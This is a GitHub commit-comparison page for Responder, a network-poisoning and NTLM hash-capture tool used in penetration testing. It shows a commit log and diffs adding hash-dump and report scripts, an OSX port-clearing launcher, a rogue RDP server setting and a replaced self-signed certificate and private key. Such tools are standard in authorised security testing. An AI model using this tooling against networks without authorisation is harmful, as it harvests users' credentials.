Compare commits

..

69 Commits

Author SHA1 Message Date
lgandx
c52843a535 Added RDP rogue server 2019-08-17 16:31:34 -03:00
lgandx
88e316c9a3 Merge pull request #91 from cnotin/patch-1
FindSMB2UPTime: properly deal with servers not disclosing their boot time
2019-05-26 11:05:49 -03:00
lgandx
e1d1657dff Merge pull request #92 from Crypt0-M3lon/master
Fix socket timeout on HTTP POST requests
2019-05-26 11:04:48 -03:00
Crypt0-M3lon
32be7a1853 Merge pull request #1 from Crypt0-M3lon/Crypt0-M3lon-patch-1
Fix socket timeout on HTTP POST requests
2019-02-08 09:08:49 +01:00
Crypt0-M3lon
e7a787cbc4 Fix socket timeout on HTTP POST requests
Remaining size should be checked at the end of the loop, the current implementation hang when POST request Content-Lenght is 0.
We want to check for Content-Length header only if we received full header.
2019-02-08 09:08:24 +01:00
Clément Notin
80aa964294 FindSMB2UPTime: properly deal with servers not disclosing their boot time 2019-02-04 11:46:08 +01:00
lgandx
7339411766 Enhanced flags2 to force SMB signature off 2019-01-15 16:18:47 -03:00
lgandx
9656f140e7 Merge pull request #89 from cnotin/patch-1
Replace ParseSMB2NTLMv2Hash() by ParseSMBHash() to handle NTLMv1 and NTLMv2
2019-01-13 11:21:24 -03:00
Clément Notin
c99c9edf19 Replace ParseSMB2NTLMv2Hash() by ParseSMBHash() to handle NTLMv1 and NTLMv2 2019-01-09 19:16:52 +01:00
lgandx
38e721da98 fixed minor bugfix on recent merge 2018-11-28 21:07:39 -03:00
lgandx
fab7ba9e6e Merge pull request #88 from PaulSec/master
Added proper changes to RunFinger
2018-11-28 20:40:51 -03:00
Paul A
105502edd4 Added proper changes to RunFinger (and is not checking for MS17-010 straight away) 2018-11-18 12:41:15 +01:00
lgandx
be551a0db3 Merge pull request #85 from mdeous/multirelay-exclude-user
[MultiRelay] allow to blacklist users
2018-11-11 09:51:04 -03:00
lgandx
4b5da9d7ce Merge pull request #86 from mschader/patch-1
Update README.md: Fix typo
2018-11-11 09:49:23 -03:00
lgandx
47e63ae4ec removed debug string 2018-11-11 09:46:15 -03:00
Markus
2287f936fd Update README.md: Fix typo
Fixed just a tiny typo.
2018-10-22 15:54:06 +02:00
MatToufoutu
4e70e95a8e allow to blacklist users 2018-09-14 00:19:17 +02:00
lgandx
a256355468 Merge pull request #46 from jackassplus/patch-1
Create OSX_launcher.sh
2018-08-24 15:16:00 -03:00
lgandx
dd39ee0c3d Merge pull request #69 from EuanKerr/patch-1
Update RunFinger.py
2018-08-24 15:14:29 -03:00
lgandx
861c797eb5 Merge pull request #80 from myst404/master
Better handling of cleartext credentials
2018-08-24 15:13:39 -03:00
lgandx
6916b085ec Merge pull request #83 from cnotin/patch-2
Fix multi HTTP responses
2018-08-24 14:34:53 -03:00
lgandx
6037d98160 Merge pull request #82 from cnotin/patch-1
Fix version number in settings.py
2018-08-24 14:34:15 -03:00
Clément Notin
defabfa543 Fix multi HTTP responses 2018-08-17 15:45:13 +02:00
Clément Notin
621c5a3c12 Fix version number in settings.py 2018-08-17 11:51:18 +02:00
myst404
750a2466d9 Better handling of cleartext credentials 2018-06-18 10:59:52 +02:00
lgandx
242bc37997 Merge pull request #71 from myst404/master
FindSMB2UPTime.py : Subnet support, error handling, minor improvements
2018-05-28 20:02:44 -03:00
lgandx
fe53785eec Merge pull request #72 from chrismaddalena/master
Fixed some small typos in MS17-010 output
2018-05-28 20:01:44 -03:00
Chris Maddalena
daaf6f7296 Fixed some small typos in MS17-010 output 2017-12-05 17:31:27 -05:00
myst404
97aeac26d8 Subnet support, error handling, minor improvements 2017-11-30 16:05:14 +01:00
Euan
064f7e62c7 Update RunFinger.py 2017-11-20 12:38:54 +00:00
lgandx
c6bc263b5e Merge pull request #51 from watersalesman/master
Fixed instances of "CRTL-C" to "CTRL-C"
2017-11-20 07:35:33 -03:00
lgandx
46cd888d15 Merge pull request #63 from myst404/master
Fixed space typo in FindSMB2UPTime.py
2017-11-20 07:32:49 -03:00
lgandx
a5a328b8c9 Merge pull request #67 from lprat/master
Add ignore case on check body for html inject
2017-11-20 07:31:52 -03:00
lgandx
b37f56264a Added: check for null sessions and MS17-010 2017-11-19 22:58:28 -03:00
Lionel PRAT
47c311553e Add ignore case on check body for html inject 2017-11-16 16:31:18 +01:00
lgandx
207b0d455c added support for plain auth 2017-09-06 02:07:41 -03:00
lgandx
679cf65cff Changed the complete LDAP parsing hash algo (ntlmv2 bug). 2017-09-04 23:15:27 -03:00
lgandx
be26b504b5 Fixed various bugs and improved the LDAP module. 2017-09-04 21:57:51 -03:00
lgandx
75aa21bbb9 Several Bugfix 2017-09-04 18:50:04 -03:00
myst404
11c00969c3 Fixed space typo in FindSMB2UPTime.py 2017-08-28 18:37:34 +02:00
lgandx
ffca0e2a92 Merge pull request #61 from OJ/fix-ldap-hash-parsing
Pass Challenge value to the LDAP parsing function
2017-08-24 22:00:10 -03:00
OJ
33bde41902 Pass Challenge value to the LDAP parsing function 2017-08-25 09:03:01 +10:00
lgandx
95c0d6e673 Merge pull request #58 from megabug/mssql-browser
Add Microsoft SQL Server Browser responder
2017-07-15 13:23:08 -03:00
lgandx
0436b47a2c Merge pull request #59 from breakersall/patch-2
Add in check for uptime since March 14th 2017, which could indicate t…
2017-07-15 13:19:53 -03:00
Matt Kelly
5859c31e8e Add in check for uptime since March 14th 2017, which could indicate the system is vulnerable to MS17-010
Add in check for uptime since March 14th 2017, which could indicate the system is vulnerable to MS17-010 (EternalBlue/dismay style exploit)
2017-06-28 14:09:05 -05:00
Matthew Daley
bc90f8fe27 Update README.md with new SQL Browser port usage 2017-06-28 19:15:07 +12:00
Matthew Daley
bff935e71e Add Microsoft SQL Server Browser responder
When connecting to a named instance, a SQL client (at least SQL Server
Native Client) will send a request (namely a CLNT_UCAST_INST message) to
the server's SQL Server Browser service for instance connection
information. If it gets no response, the connection attempt fails.

By adding a SQL Server Browser responder for these requests, we ensure
that connections are successfully made to the SQL Server responder for
hash capture.

As per the comment, this is based on the document "[MC-SQLR]: SQL Server
Resolution Protocol", currently available at
<https://msdn.microsoft.com/en-us/library/cc219703.aspx>.
2017-06-28 19:14:38 +12:00
Randy Ramos
44a4e495cc Fixed instances of "CRTL-C" to "CTRL-C" 2017-04-22 14:40:19 -04:00
lgandx
38219e249e added: mimi32 cmd, MultiRelay random RPC & Namedpipe & latest mimikatz 2017-03-30 23:39:41 -03:00
lgandx
2223ef6689 updated readme 2017-03-29 14:24:17 -03:00
lgandx
2a80c7ed9c MultiRelay 2.0 Release 2017-03-29 13:28:31 -03:00
jackassplus
54389c4851 Create OSX_launcher.sh
Launcher helper for OSX. 

Checks for running LaunchDaemons using one of responder's ports and unloads them one by one, placing them on a stack to be restarted when responder is killed.
2017-03-27 08:10:33 -07:00
lgandx
b05bdcab96 Removed Paypal donation link. 2017-03-15 19:15:46 -03:00
lgandx
6f3cc4564c Fixed bug in FindSMB2UPTime 2017-03-08 00:01:38 +01:00
lgandx
2b322b227e minor fix 2017-02-18 20:57:36 +01:00
lgandx
9440cb3e30 Merge branch 'master' of https://github.com/lgandx/Responder 2017-02-18 20:40:01 +01:00
lgandx
21d48be98f Added: Hashdump, Stats report 2017-02-18 20:38:40 +01:00
lgandx
c9609bd8c6 Merge pull request #25 from joshuaskorich/master
added `ip` commands in addition to ifconfig and netstat
2017-02-10 22:03:46 +01:00
lgandx
0642999741 fixed crash: typo. 2017-02-10 18:18:23 +01:00
lgandx
5f59f2934e Merge pull request #33 from skelsec/master
Fixing HTTP header issue
2017-02-09 22:40:28 +01:00
skelsec
225857b6ed cleaning up comments 2017-02-06 10:48:23 -08:00
skelsec
2c32704b85 SimpleSSL 2017-02-06 09:42:35 -08:00
skelsec
0e3e6f9745 making HTTP great again 2017-02-06 09:21:44 -08:00
lgandx
0ede767d95 Merge pull request #32 from Gifts/fix_randchallenge
Fix for RandomChallenge function.
2017-02-01 22:32:13 +01:00
Gifts
de6e869a79 Fix for RandomChallenge function. Function getrandbits can return less than 64 bits, thus decode('hex') will crash with TypeError: Odd-length string 2017-02-01 16:55:15 +03:00
lgandx
cf654ee178 Merge pull request #28 from kithack/master
Fix Proxy_Auth. Random challenge broke it.
2017-01-19 22:31:52 +01:00
Timon Hackenjos
5a2ee18bfa Fix Proxy_Auth. Random challenge broke it. 2017-01-19 17:46:21 +01:00
thejosko
db61f243c9 added ip commands in addition to ifconfig and netstat 2017-01-11 17:35:08 -06:00
lgandx
0d441d1899 Added: Random challenge for each requests (default) 2017-01-03 17:40:38 -03:00
37 changed files with 2916 additions and 618 deletions

49
DumpHash.py Executable file
View File

@@ -0,0 +1,49 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sqlite3
def DumpHashToFile(outfile, data):
with open(outfile,"w") as dump:
dump.write(data)
def DbConnect():
cursor = sqlite3.connect("./Responder.db")
return cursor
def GetResponderCompleteNTLMv2Hash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
Output = ""
for row in res.fetchall():
Output += '{0}'.format(row[0])+'\n'
return Output
def GetResponderCompleteNTLMv1Hash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
Output = ""
for row in res.fetchall():
Output += '{0}'.format(row[0])+'\n'
return Output
cursor = DbConnect()
print "Dumping NTLMV2 hashes:"
v2 = GetResponderCompleteNTLMv2Hash(cursor)
DumpHashToFile("DumpNTLMv2.txt", v2)
print v2
print "\nDumping NTLMv1 hashes:"
v1 = GetResponderCompleteNTLMv1Hash(cursor)
DumpHashToFile("DumpNTLMv1.txt", v1)
print v1

39
OSX_launcher.sh Normal file
View File

@@ -0,0 +1,39 @@
# responder launcher
# set -x
# Usage:
# ./responderd /path/to/responder interface responder_options
# port list
# Everything -> tcp:21 tcp:80 tcp:25 udp:53 tcp:88 udp:137 udp:138 tcp:139 tcp:143 tcp:443 tcp:445 tcp:110 tcp:389 tcp:1433 tcp:3141 udp:5353 udp:5355
PORT_LIST=(tcp:21 udp:53 tcp:88 udp:137 udp:138 tcp:139 tcp:143 tcp:445 tcp:389 tcp:1433 udp:5353 udp:5355)
SVC_LIST=()
# check for running processes and kill them one by one
# looping over everything rather than doing a mass kill because some processes may be
# children and may not need to be killed
for port in ${PORT_LIST[@]}; do
PROC=$(lsof +c 0 -i $port | grep -m 1 -v 'launchd\|COMMAND' | cut -d' ' -f1)
if [ -n "$PROC" ]; then
AGENT=$(sudo launchctl list | grep -m 1 $PROC | cut -f3 | sed 's/.reloaded//g')
# load/unload are listed as "legacy" in 10.10+ may need to change this someday
echo "Stopping $PROC"
sudo launchctl unload -w /System/Library/LaunchDaemons/$AGENT.plist
# append killed service to new array
SVC_LIST+=($AGENT)
fi
done
# get IP address
IP=$(ifconfig $2 | grep 'inet ' | cut -d' ' -f2)
# Launch responder
python $1 $3 -i $IP
# restore stopped services
for agent in ${SVC_LIST[@]}; do
echo "Starting $agent"
sudo launchctl load -w /System/Library/LaunchDaemons/$agent.plist
done

View File

@@ -1,6 +1,6 @@
# Responder.py # # Responder/MultiRelay #
LLMNR/NBT-NS/mDNS Poisoner LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com
@@ -80,7 +80,7 @@ All hashes are printed to stdout and dumped in an unique file John Jumbo complia
Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v). Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v).
- Responder will logs all its activity to Responder-Session.log - Responder will log all its activity to Responder-Session.log
- Analyze mode will be logged to Analyze-Session.log - Analyze mode will be logged to Analyze-Session.log
- Poisoning will be logged to Poisoners-Session.log - Poisoning will be logged to Poisoners-Session.log
@@ -89,7 +89,7 @@ Additionally, all captured hashed are logged into an SQLite database which you c
## Considerations ## ## Considerations ##
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553. - This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports. - If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
@@ -168,9 +168,22 @@ You can contribute to this project by donating to the following BTC address:
1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW 1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW
Or via Paypal:
[![donate](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif)](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=F7UDPDKM65Q7A) ## Acknowledgments ##
Late Responder development has been possible because of the donations received from individuals and companies.
We would like to thanks those major donator:
- SecureWorks : https://www.secureworks.com/
- Black Hills Information Security: http://www.blackhillsinfosec.com/
- TrustedSec: https://www.trustedsec.com/
- And all, ALL the pentesters around the world who donated to this project.
Thank you.
## Copyright ## ## Copyright ##

95
Report.py Executable file
View File

@@ -0,0 +1,95 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sqlite3
import os
def color(txt, code = 1, modifier = 0):
if txt.startswith('[*]'):
settings.Config.PoisonersLogger.warning(txt)
elif 'Analyze' in txt:
settings.Config.AnalyzeLogger.warning(txt)
if os.name == 'nt': # No colors for windows...
return txt
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
def DbConnect():
cursor = sqlite3.connect("./Responder.db")
return cursor
def GetResponderData(cursor):
res = cursor.execute("SELECT * FROM Responder")
for row in res.fetchall():
print('{0} : {1}, {2}, {3}, {4}, {5}, {6}, {7}, {8}'.format(row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8]))
def GetResponderUsernamesStatistic(cursor):
res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
for row in res.fetchall():
print color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1)
def GetResponderUsernames(cursor):
res = cursor.execute("SELECT DISTINCT user FROM Responder")
for row in res.fetchall():
print('User account: {0}'.format(row[0]))
def GetResponderUsernamesWithDetails(cursor):
res = cursor.execute("SELECT client, user, module, type, cleartext FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder) ORDER BY client")
for row in res.fetchall():
print('IP: {0} module: {1}:{3}\nuser account: {2}'.format(row[0], row[2], row[1], row[3]))
def GetResponderCompleteHash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
for row in res.fetchall():
print('{0}'.format(row[0]))
def GetUniqueLookups(cursor):
res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
for row in res.fetchall():
print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
def GetStatisticUniqueLookups(cursor):
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
for row in res.fetchall():
print color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1)
def SavePoisonersToDb(result):
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode']:
if not k in result:
result[k] = ''
def SaveToDb(result):
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
if not k in result:
result[k] = ''
cursor = DbConnect()
print color("[+] Generating report...", code = 3, modifier = 1)
print color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1)
GetUniqueLookups(cursor)
GetStatisticUniqueLookups(cursor)
print color("\n[+] Extracting captured usernames:", code = 2, modifier = 1)
GetResponderUsernames(cursor)
print color("\n[+] Username details:", code = 2, modifier = 1)
GetResponderUsernamesWithDetails(cursor)
GetResponderUsernamesStatistic(cursor)
#print color("\n[+] Captured hashes:", code = 2, modifier = 1)
#GetResponderCompleteHash(cursor)

View File

@@ -3,6 +3,7 @@
; Servers to start ; Servers to start
SQL = On SQL = On
SMB = On SMB = On
RDP = On
Kerberos = On Kerberos = On
FTP = On FTP = On
POP = On POP = On
@@ -15,7 +16,7 @@ LDAP = On
; Custom challenge. ; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default) ; Use "Random" for generating a random challenge for each requests (Default)
Challenge = 1122334455667788 Challenge = Random
; SQLite Database file ; SQLite Database file
; Delete this file to re-capture previously captured hashes ; Delete this file to re-capture previously captured hashes

View File

@@ -62,6 +62,9 @@ settings.Config.ExpandIPRanges()
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1) print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)
#Create the DB, before we start Responder.
CreateResponderDb()
class ThreadingUDPServer(ThreadingMixIn, UDPServer): class ThreadingUDPServer(ThreadingMixIn, UDPServer):
def server_bind(self): def server_bind(self):
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
@@ -238,8 +241,12 @@ def main():
threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,))) threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,)))
if settings.Config.SSL_On_Off: if settings.Config.SSL_On_Off:
from servers.HTTP import HTTPS from servers.HTTP import HTTP
threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTPS,))) threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTP,)))
if settings.Config.RDP_On_Off:
from servers.RDP import RDP
threads.append(Thread(target=serve_thread_tcp, args=('', 3389, RDP,)))
if settings.Config.WPAD_On_Off: if settings.Config.WPAD_On_Off:
from servers.HTTP_Proxy import HTTP_Proxy from servers.HTTP_Proxy import HTTP_Proxy
@@ -265,8 +272,9 @@ def main():
threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,))) threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,)))
if settings.Config.SQL_On_Off: if settings.Config.SQL_On_Off:
from servers.MSSQL import MSSQL from servers.MSSQL import MSSQL, MSSQLBrowser
threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,))) threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,)))
threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 1434, MSSQLBrowser,)))
if settings.Config.FTP_On_Off: if settings.Config.FTP_On_Off:
from servers.FTP import FTP from servers.FTP import FTP

0
certs/gen-self-signed-cert.sh Executable file → Normal file
View File

View File

@@ -1,18 +1,18 @@
-----BEGIN CERTIFICATE----- -----BEGIN CERTIFICATE-----
MIIC0zCCAbugAwIBAgIJAOQijexo77F4MA0GCSqGSIb3DQEBBQUAMAAwHhcNMTUw MIIC4TCCAcmgAwIBAgIUO+GAjgRhHP9zb1avAb9yg8JyGOgwDQYJKoZIhvcNAQEL
NjI5MDU1MTUyWhcNMjUwNjI2MDU1MTUyWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC BQAwADAeFw0xOTA4MTYyMjA2MTFaFw0yOTA4MTMyMjA2MTFaMAAwggEiMA0GCSqG
AQ8AMIIBCgKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDVvbov/KiK+Xbv/bhGQBlgb9eVqIFDtTPd
sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP 0ZlLNOhRuHRUbw3XC3q3gPerfSE9ANeFUKfHpSUUA5AU4hjMSBMX1iUVR+OKgzTK
2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC czE4kAJe1ZJpiB8TU6FBapQwOPv9M463BOQQ8lfmX+EWerT+XniMFAmxf8FS7e4/
6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg V7JZbon7uU18fc6H8KxVaNCEM382SpL39zU7qRNVG65Jf4MejJZEk30GMC4m22Fb
WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF to6f/WS1NBk4HMdLClyXZngPY0idCuCZX3KBQvYpS3e1gEBsUPV0fZBz/GnvoE4o
N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABo1AwTjAdBgNVHQ4EFgQU qTia83QJAkjZ0r77/NAptihsXrqB2VDuR6aP5Bf/YFr/U4H9y01lAgMBAAGjUzBR
YY2ttc/bjfXwGqPvNUSm6Swg4VYwHwYDVR0jBBgwFoAUYY2ttc/bjfXwGqPvNUSm MB0GA1UdDgQWBBTs2vL9sLFs/p78FXHfgz7Zk8ZEwTAfBgNVHSMEGDAWgBTs2vL9
6Swg4VYwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAXFN+oxRwyqU0 sLFs/p78FXHfgz7Zk8ZEwTAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUA
YWTlixZl0NP6bWJ2W+dzmlqBxugEKYJCPxM0GD+WQDEd0Au4pnhyzt77L0sBgTF8 A4IBAQBIYrRgmGhAQr+VmyqSQcxYWW0GWKvGQwz5t1A8AoBe8d3SDb1mb/Lq/POx
koFbkdFsTyX2AHGik5orYyvQqS4jVkCMudBXNLt5iHQsSXIeaOQRtv7LYZJzh335 jnF67dAifYbTzz6JWsxCFED2UP8OL3oij0dWTfvGO//6nwhVss2Or0WTdxkSQVE4
4431+r5MIlcxrRA2fhpOAT2ZyKW1TFkmeAMoH7/BTzGlre9AgCcnKBvvGdzJhCyw p4CElQYjvoYYhxuDzO3HsxqHBtxMOT+8fO/07aInxVWEtvmflNo3mxE4P7w6D8g5
YlRGHrfR6HSkcoEeIV1u/fGU4RX7NO4ugD2wkOhUoGL1BS926WV02c5CugfeKUlW v2jZNf8EjTDQOF90kjkGGhTU7j9hRewfxzBZZOvaHA+/XczJ3fARpdYrvtFvvjnH
HM65lZEkTb+MQnLdpnpW8GRXhXbIrLMLd2pWW60wFhf6Ub/kGJ5bCUTnXYPRcA3v Da1WjQDQhSLufZYcFrzd4i6pyXQYzevjgHSeFSJt78Hr0BxMkKzLAhsFmS6fiULm
u0/CRCN/lg== iKqwycWcwlFFUDbwBuOyfbfwjtUf
-----END CERTIFICATE----- -----END CERTIFICATE-----

View File

@@ -1,27 +1,27 @@
-----BEGIN RSA PRIVATE KEY----- -----BEGIN RSA PRIVATE KEY-----
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
